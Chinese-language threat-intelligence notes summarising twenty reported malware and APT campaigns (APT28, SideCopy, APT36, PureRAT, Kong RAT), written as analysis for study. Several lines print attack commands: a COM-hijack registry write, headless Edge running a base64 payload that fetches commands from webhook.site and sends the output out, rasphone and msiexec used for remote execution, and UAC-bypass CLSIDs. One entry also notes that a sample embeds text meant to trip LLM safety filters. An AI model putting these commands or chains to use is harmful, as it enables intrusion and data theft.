威胁情报TTP笔记-1

分析1
https://www.group-ib.com/blog/jadeprox-china-nexus-triback-loader/
https://www.sophos.com/en-us/blog/donuts-and-beagles-fake-claude-site-spreads-backdoor
正常web打点,使用常规开源工具进行初始访问 C2 为 AdaptixC2

钓鱼流程:
- link加载递归目录下的vbs脚本
- 打开pdf伪装文件
- 白加黑loader
- loader直接使用win api,异或解密落地的shellcode文件,使用多种回调函数加载shellcode
- InitOnceExecuteOnce
- CreateTimerQueueTimer
- EtwpCreateEtwThread

总结:多份白加黑路径和多份shellcode执行API,入门级钓鱼。
分析2
https://mp.weixin.qq.com/s/5VMNMHXmEfb_zx54LQ3vUw
https://mp.weixin.qq.com/s/bNl5Ezv8NSCy-4Aq27A0Og
https://mp.weixin.qq.com/s/9-jYoSI22LuslkniNFTslA
SEO投毒多款开发工具,命名为Kong RAT
执行链:SEO 投毒dropper -> 下载内存 DLL 反射加载 -> 下载白加黑 -> 计划任务 -> 黑DLL 加载 shellcode -> 运行Kong RAT
dropper-1:
静态免杀:.NET 10.0 NativeAOT将 C# 直接编译为本地机器代码
WindowsPrincipal.IsInRole判断用户权限,使用ProcessStartInfo重启进程触发UAC
远程下载wrapper 恶意DLL,并通过WinAPI内存反射加载,执行导出函数run()
wrapper-1:
远程下载loader、dll、bin共计四个文件:rc.exe、rcdll.dll、oob.xml、msvcr100.dll(运行依赖)
使用 SHGetKnownFolderPath() 和 SetFileAttributesA() 和 FILE_ATTRIBUTE_HIDDEN、FILE_ATTRIBUTE_SYSTEM 将指定目录下的文件名进行文件隐藏
使用 NdrClientCall3、WPTaskScheduler 通过 RPC创建计划任务,绕过了COM接口,用于启动白加黑loader
loader-rcdll.dll:
- QueueUserAPC() 调度延迟执行,以规避 DLL 加载监控
- 通过 OpenProcessToken + GetTokenInformation(TokenElevation) 检查进程权限
- 修改PEB结构的 ImagePathName、CommandLine 伪装为explorer.exe
- bypass UAC:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}、{6EDD6D74-C007-4E75-B76A-E5740995E24C} 重新执行当前程序
- 读取oob.xml文件,使用EnumWindows回调从第一个字节直接执行
shellcode+bin-oob.xml:
- 文件结构为:shellcode + exe(Kong RAT)
- 栈上字符串解密 + walk PEB + 前向扫描定位PE + 计算并运行EP()
Kong RAT:
- MPK1 自定义通信协议
- 模块化DLL远程下发加载
- 其他功能
总结:比较专业的多阶段加载,功能完整的Rat,dropper和loader的多阶段也处理的挺好,执行也都尽可能利用了比如 NdrClientCall3、APC、白加黑的系统功能,3环下感觉很完整了,Rat功能给到夯。
分析3
邮件轰炸营造危险感,伪装Teams等客服主动接触目标,诱使安装C2进行初始化访问:
- 批量注册 Microsoft 365 试用租户,使用it、support、help等迷惑性租户名称,租户名称格式:*.onmicrosoft.com
- 批量注册 .top 迷惑性域名
- 发送大量垃圾邮件
- 伪装客服对目标发起Teams会话,声称帮助解决垃圾邮件问题
- 诱使目标通过 QuickAssist.exe 获取目标机器操作权限
- 发送 Pastebin.com 命令清单,包含C2的sharepoint url
- 在线指导目标用户按照清单进行操作:下载C2,启动项,运行
- 一个 Google Drive三方上线 java C2,比较基础,具有内存执行拓展能力
总结:伪装客服通过Teams发起会话,是继邮件钓鱼后又一条路径,思路不错。但是需要长时间和目标对话引导
分析4
外部WEB打点,内部安装HAProxy 特马,用于C2和流量操纵
HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理
分析5
https://lab52.io/blog/deedrat-backdoor-enhanced-by-chinese-apts-with-advanced-capabilities/
白加黑,文章并无展现RAT的亮点
分析6
俄罗斯 - APT28
https://www.recordedfuture.com/research/bluedelta-targets-with-hookedge
样本诱饵文案:公开政府文件、通用文案、垃圾数据文案。
Microsoft Word 恶意宏 和 Webhook 图像探针。恶意宏安装HOOKEDGE 后门,使用 webhook[.]site 充当C2用于下发指令和接收结果,HOOKEDGE 启动无头模式 msedge.exe 获取指令并执行,将结果拼接为html并外带

总结:三方c2指令下发与回收,后门轻量特征少,lolbin - msedge.exe 外带数据。留下的痕迹少
分析7
俄罗斯 - APT28
https://assets.recordedfuture.com/insikt-report-pdfs/2024/cta-ru-2024-0530.pdf
- word宏文件钓鱼、内嵌url探针
- 宏作为dropper释放:vbs、bat、html、xhtml脚本文件,运行vbs
- vbs使用msgbox提示文档损坏提示消息
- vbs启动bat
- bat落地xml文件并利用schtasks导入计划任务
- bat利用Edge 的无头模式执行一个小型 Base64 编码的 HTML payload
start "" msedge --headless=new data:text/html;base64,xxxxxx |
- payload用于从webhook[.]site下载命令,并落地为cmd文件
- bat执行cmd文件并获取输出,和xhtml组装成为带有命令执行结果的output.html文件
- bat利用Edge 的无头模式执行output.html,通过自定义提交表单将结果外传

总结:没有远控落地,纯利用lolbin,缺点就是直接cmd执行的行为了吧
分析8
俄罗斯 - APT28
https://www.sekoia.com/blog/apt28-operation-phantom-net-voxel
- word宏文件钓鱼,运行dropper-vba
dropper-vba:
释放loader-prnfldr.dll、嵌入载荷文件
COM劫持 持久化
reg.exe add HKCU\Software\classes\CLSID\{2227A280-3AEA-1069-A2DE-08002B30309D}\InProcServer32 /d "C:\ProgramData\prnfldr.dll" /f |
- 主动加载loader
regsvr32.exe /n /i "C:\ProgramData\prnfldr.dll" |
loader-prnfldr.dll:
- 判断当前调用是正常调用还是后门调用
- 当 DLL 作为 COM 服务器加载时,即正常调用,将转发至正常dll维持正常的功能
- 当作为后门调用时,从png隐写提取shellcode
shellcode:
- 利用TEB,加载 .NET 程序集(c2)
c2:
- Koofr 三方上线

c2-2:另一款后门木马
- icedrive 三方上线
- 通过 非托管 C++ 加载 CLR,利用加载 System.Management.Automation 程序集执行命令
总结:三方c2特马的开发、COM劫持、恶意Dll代理转发
分析9
俄罗斯 - UAC-0099
https://mp.weixin.qq.com/s/k2YJlVC8TSsqIzdlkiwR_Q
https://pan1c.org/posts/uac-0099-toolchain-analysis/
vbs嵌入 危险言论 尝试触发LLM安全防护以阻止分析文件
vbs下载诱饵PDF文件与木马
notepad++ 白加黑
黑dll解压压缩包,释放并利用计划任务运行 downloader-1
downloader-1会检查计划任务执行的特殊参数以及执行路径,不符合预期就开始DOS当前机器
downloader-1 反沙箱
downloader-1 下载RAT并利用计划任务持久化
分析10
https://mp.weixin.qq.com/s/tseg9C7Sx4QVZceCl8RXlA
商业 - PureRAT
- .hta 文件钓鱼 ,系统调用mshta.exe进行执行,释放dropper、loader文件并执行dropper
- dropper 复制自身并随机膨胀体积
- dropper释放 .pbk、.cmp、.cms 恶意配置文件
[Pre-Init Actions] |
- dropper 通过 WPTaskScheduler RPC 创建计划任务
- 计划任务 启动白程序但是指向恶意配置文件,启动 loader
rasphone.exe -f C:\Users\Public\xxxxx.pbk -d "PoCEntry" |
- loader 隐藏IAT、walk PEB解析API
- loader patch amsi
- loader 内存提取解密资源文件(PureRAT)
- loader Assembly.Load加载
总结:rasphone.exe加载恶意配置文件执行命令 - LOLbins

分析11
https://securelist.ru/purerat-attacks-russian-organizations/112619/
商业 - PureRAT
- .scr 文件钓鱼
- 释放loader-1(自身重命名-Task.exe)与配套vbs、loader2
- vbs启动loader-1
loader-1:
- 资源文件解密释放loader1-1(Ckcfb.exe)
- 将loader1-1进程注入到 InstallUtil.exe
loader1-1:
- 资源释放并加载Rat DLL

loader-2
- 远程下载解密内存执行DLL
- 资源文件解密释放(Ttcxxewxtly.exe)
- 进程注入
- 再次资源文件提取解密内存运行(Bftvbho.dll)
- 远程下载加载Rat DLL(ClassLibrary1.dll)

总结:多阶段内存运行
分析12
https://www.trellix.com/blogs/research/purerat-fileless-utilizing-steganography-process-hollowing/
商业 - PureRAT
- .link 文件钓鱼,启动powershell远程下载vbs落地并运行
loader-vbs:
- 高度混淆
- 添加计划任务
- 执行内嵌的下一阶段powershell
loader-powershell:
- 远程下载文件1(DLL)并Assembly.load()内存执行
loader-文件1:
使用TaskScheduler .NET库添加计划任务持久化:通过conhost -headless 调用powershell下载并创建进程
添加注册表建立自动启动项持久化
反虚拟机
利用 cmstp.exe bypass UAC
远程下载下一阶段文件2(.net exe)并采取Process hollowing手法执行下一阶段
loader-文件2:
- 从自身Resources资源中提取加密数据,并解密为PureRat
- 内存执行
PureRat:
- .NET DLL文件,.NET Reactor加密保护

总结:无
分析13
巴基斯坦 - SideCopy
https://www.trellix.com/blogs/research/sidecopy-threat-intel-mshta-execution-rat-deployment/
https://mp.weixin.qq.com/s/21kLaaPEzGBBAlguLgU9Cw
https://mp.weixin.qq.com/s/Lb_NYxhi9iJgmvI2wjY9qg
https://mp.weixin.qq.com/s/kgjEa7oQWWDclD_HW_qvrA
- .link 文件钓鱼,启动mshta下载并运行恶意 1.hta
- 1.hta内嵌dropper-dll,利用 BinaryFormatter 反序列化内存加载
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); |
- dropper释放诱饵文档、持久化bat、下阶段2.hta
- .bat启动mshta.exe 加载 2.hta
- 2.hta内嵌Rat Dll,利用 BinaryFormatter 反序列化内存加载
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); |

总结:该组织特点是 利用hta中的js调用 BinaryFormatter 反序列化加载dll到内存中,使用开源项目 https://github.com/tyranid/DotNetToJScript,接收一个.NET DLL和一个DLL中的类名,生成一个JS脚本,实现将提供的DLL加载到内存中
分析14
巴基斯坦 - SideCopy
https://mp.weixin.qq.com/s/shcduut0TUJ4WeGzFKnYcQ
- .link 文件钓鱼,启动mshta下载并运行恶意 1.hta
- 1.hta内嵌dropper-dll,利用 BinaryFormatter 反序列化内存加载
- dropper-dll 释放诱饵文件、释放loader、写Run注册表持久化
- loader释放带有加密exe的pdf文件
- loader启动powershell,解密并内存加载exe

总结:无
分析15
巴基斯坦 - SideCopy
钓鱼细节:
- 发件人邮件地址:gsosystems-ndc@outlook[.]com 仿照 gsosystems.ndc-mod@nic[.]in
- 第一封邮件附件为正常pdf文件
- 第二封邮件来自被盗用的官方邮箱地址,主题为更新第一封所提到的内容
- 第二封邮件附件为.txt文本,内容指向zip下载链接
- 下载链接被托管在 egovservice.in(虚假域名)、nhp.mowr.gov.in
攻击链路:
- .link 文件钓鱼,启动msiexec 远程安装msi安装包
cmd /c msiexec.exe /q /i https://xxx/ |
- msi运行dropper
- dropper释放:持久化hta、白exe、白dll、黑dll
- 白加黑

总结:前期准备细节要注意:邮箱、域名、以及首封邮件不放出鱼钩
分析16
巴基斯坦 - SideCopy
类似分析13,不过在第二阶段引入了shellcode:加载CLR、解密Rat、内存反射加载。并且更新了Rat
分析17
台湾地区 - 毒云藤
https://mp.weixin.qq.com/s/6wVfE9SE3wVuazxVppe3tA
https://pan1c.org/posts/poisonvine-apt-analysis/
- 混淆.net exe
- 远程下载并解密shellcode
- win api 建线程启动Shellcode(CreateThread)
- Shellcode数据内嵌了一份加密payload
- Shellcode解密payload并内存加载(sliver)
总结:无
分析18
巴基斯坦 - APT36、Transparent Tribe、透明部落
- pdf文档钓鱼邮件,提示消息覆盖一张模糊图片
- 特定的 Adobe Acrobat PDF阅读器打开时会 加载自定义 JavaScript
- 展示钓鱼更新消息诱导下载dropper

- 服务器设置guard,特定地区以及UA(windows)可以正常下载
dropper:
- 释放vbs,作用是每30秒从server拉取vb进行执行
- 添加计划任务,执行vbs作为权限维持
- 内置令牌token从github仓库下载下一阶段zip文件,释放并运行
c2:
- github 三方上线 c2,简单命令执行
loader:
- 通过上阶段c2下载
- 体积膨胀 1G
- 通过 QueueUserAPC 执行shellcode
- shellcode:分配内存、解密、运行 cobalt strike beacon

总结:PDF消息提示做的挺逼真的
分析19
巴基斯坦 - APT36、Transparent Tribe、透明部落
- pdf文档钓鱼邮件,提示消息引导下载下阶段恶意文件

dropper:
- 下载为zip文件,包含 .link 和 .png
- .link启动powershell
- powershell Assembly.load() 加载.png中的c2
c2:多种通信途径变种
- Google Sheets 三方上线 - c#
- Google Firebase 三方上线 - powershell
- Microsoft Graph API 三方上线 - Golang
总结:多种轻量级三方后门c2
分析20
巴基斯坦 - APT36、Transparent Tribe、透明部落
介绍了几种新工具。
- GitHub 三方上线 c2
- powershell 文件窃取工具,指定目录、盘符、文件类型等然后上传到github
- 轻量级 64 位 Windows USB 传播工具,持续监控外部可移动介质,并复制恶意文件到外部驱动器的根目录,一个link、一个zip